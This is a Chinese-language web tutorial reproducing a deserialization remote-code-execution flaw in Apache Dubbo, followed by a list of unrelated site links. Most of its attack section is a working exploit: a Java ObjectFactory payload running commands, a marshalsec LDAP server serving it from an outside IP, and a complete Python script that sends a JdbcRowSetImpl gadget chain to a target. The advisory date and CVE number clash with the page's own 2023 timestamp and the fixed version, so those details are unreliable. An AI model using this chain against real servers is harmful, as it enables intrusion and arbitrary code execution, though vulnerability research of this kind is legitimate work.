怎么进行Apache Dubbo反序列化漏洞的分析

发布时间 - 2023-05-17 00:00:00    点击率:

简介

dubbo是阿里巴巴公司开源的一个高性能优秀的服务框架,使得应用可通过高性能的rpc实现服务的输出和输入功能,可以和spring框架无缝集成。该系统具备三项核心功能,包括远程接口方法调用、智能容错和负载均衡,以及服务的自动注册和发现。

概述

2025年06月23日, Apache Dubbo 官方发布了Apache Dubbo 远程代码执行的风险通告,该漏洞编号为CVE-2025-1948,漏洞等级:高危。 Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。 Apache Dubbo Provider存在反序列化漏洞,攻击者可以通过RPC请求发送无法识别的服务名称或方法名称以及一些恶意参数有效载荷,当恶意参数被反序列化时,可以造成远程代码执行。

影响版本

Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (官方不再维护)

环境搭建

运行环境与编译exp环境jdk版本均为8u121,启动测试环境

java -jar dubbo.jar

启动后会监听12345端口

漏洞复现

服务指纹:

PORT      STATE SERVICE VERSION12345/tcp opentextui  Alibaba Dubbo remoting telnetd

构造poc,我们这里执行一个ping命令来验证是否可以执行命令,新建calc.java,

importjavax.naming.Context;
importjavax.naming.Name;
importjavax.naming.spi.ObjectFactory;
importjava.util.Hashtable;
publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtableenvironment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");
returnnull;
}}

编译poc

javac calc.java

将编译好的poc(calc.class)放到web网站目录里,确保漏洞主机可以访问到 使用marshalsec项目启动一个ldap代理服务,marshalsec下载:

https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar

启动LDAP代理服务,执行该命令ldap服务会监听8086端口

 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://139.9.198.30/#calc 8086

执行测试脚本,此处测试使用python环境为3.8.0,先安装依赖包

python3 -m pip install dubbo-py

脚本内容(Dubbo.py):

# -*- coding: utf-8 -*-importsysfromdubbo.codec.hessian2 importDecoder,new_objectfromdubbo.client importDubboClientiflen(sys.argv)<4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl  )resp =client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output =str(resp)if'Fail to decode request due to: RpcInvocation'inoutput:print('[!] Target maybe not support deserialization.')elif'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()'inoutput:print('[+] Succeed.')else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.')

执行脚本

python3 Dubbo.py 192.168.137.17312345ldap://139.9.198.30:8086/calc

dnslog查看,成功接收到请求

ldap服务也可以看到请求转发

弹计算器

import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;  public class calc implements ObjectFactory {      @Override     public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {        Runtime.getRuntime().exec("calc");        return null;    } }

漏洞修复

升级 2.7.7 版本,并根据以下链接的方法进行参数校验

https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de

更换协议以及反序列化方式。


# Python  # Java  # spring  # dubbo  # 接口  # class  # github  # apache  # https  # rpc  # 负载均衡  # 高性能  # 序列化  # 开源  # 代理服务  # 运行环境  # 阿里巴巴  # 均为  # 三大  # 可以通过 


相关栏目: 【 网站优化151355 】 【 网络推广146373 】 【 网络技术251813 】 【 AI营销90571


相关推荐: 详解Huffman编码算法之Java实现  php8.4header发送头信息失败怎么办_php8.4header函数问题解决【解答】  网站制作软件免费下载安装,有哪些免费下载的软件网站?  如何基于云服务器快速搭建网站及云盘系统?  Laravel的路由模型绑定怎么用_Laravel Route Model Binding简化控制器逻辑  高防网站服务器:DDoS防御与BGP线路的AI智能防护方案  Firefox Developer Edition开发者版本入口  Laravel全局作用域是什么_Laravel Eloquent Global Scopes应用指南  Laravel Artisan命令怎么自定义_创建自己的Laravel命令行工具完全指南  再谈Python中的字符串与字符编码(推荐)  Swift中swift中的switch 语句  如何确认建站备案号应放置的具体位置?  Laravel中间件如何使用_Laravel自定义中间件实现权限控制  如何在阿里云ECS服务器部署织梦CMS网站?  公司网站制作需要多少钱,找人做公司网站需要多少钱?  laravel怎么在请求结束后执行任务(Terminable Middleware)_laravel Terminable Middleware请求结束任务执行方法  Laravel中的Facade(门面)到底是什么原理  Laravel如何使用Socialite实现第三方登录?(微信/GitHub示例)  Laravel如何使用withoutEvents方法临时禁用模型事件  如何在自有机房高效搭建专业网站?  Python文件流缓冲机制_IO性能解析【教程】  黑客入侵网站服务器的常见手法有哪些?  Laravel模型事件有哪些_Laravel Model Event生命周期详解  Laravel怎么生成URL_Laravel路由命名与URL生成函数详解  MySQL查询结果复制到新表的方法(更新、插入)  Laravel如何实现本地化和多语言支持?(i18n教程)  北京网站制作的公司有哪些,北京白云观官方网站?  Bootstrap整体框架之JavaScript插件架构  网站广告牌制作方法,街上的广告牌,横幅,用PS还是其他软件做的?  西安专业网站制作公司有哪些,陕西省建行官方网站?  微信小程序 HTTPS报错整理常见问题及解决方案  Laravel如何与Pusher实现实时通信?(WebSocket示例)  Laravel怎么多语言本地化设置_Laravel语言包翻译与Locale动态切换【手册】  Python文本处理实践_日志清洗解析【指导】  南京网站制作费用,南京远驱官方网站?  什么是JavaScript解构赋值_解构赋值有哪些实用技巧  太平洋网站制作公司,网络用语太平洋是什么意思?  javascript日期怎么处理_如何格式化输出  php静态变量怎么调试_php静态变量作用域调试技巧【解答】  Java垃圾回收器的方法和原理总结  小视频制作网站有哪些,有什么看国内小视频的网站,求推荐?  如何选择PHP开源工具快速搭建网站?  Laravel如何设置自定义的日志文件名_Laravel根据日期或用户ID生成动态日志【技巧】  大同网页,大同瑞慈医院官网?  zabbix利用python脚本发送报警邮件的方法  如何在IIS7上新建站点并设置安全权限?  高端企业智能建站程序:SEO优化与响应式模板定制开发  Android 常见的图片加载框架详细介绍  LinuxShell函数封装方法_脚本复用设计思路【教程】  网站制作价目表怎么做,珍爱网婚介费用多少?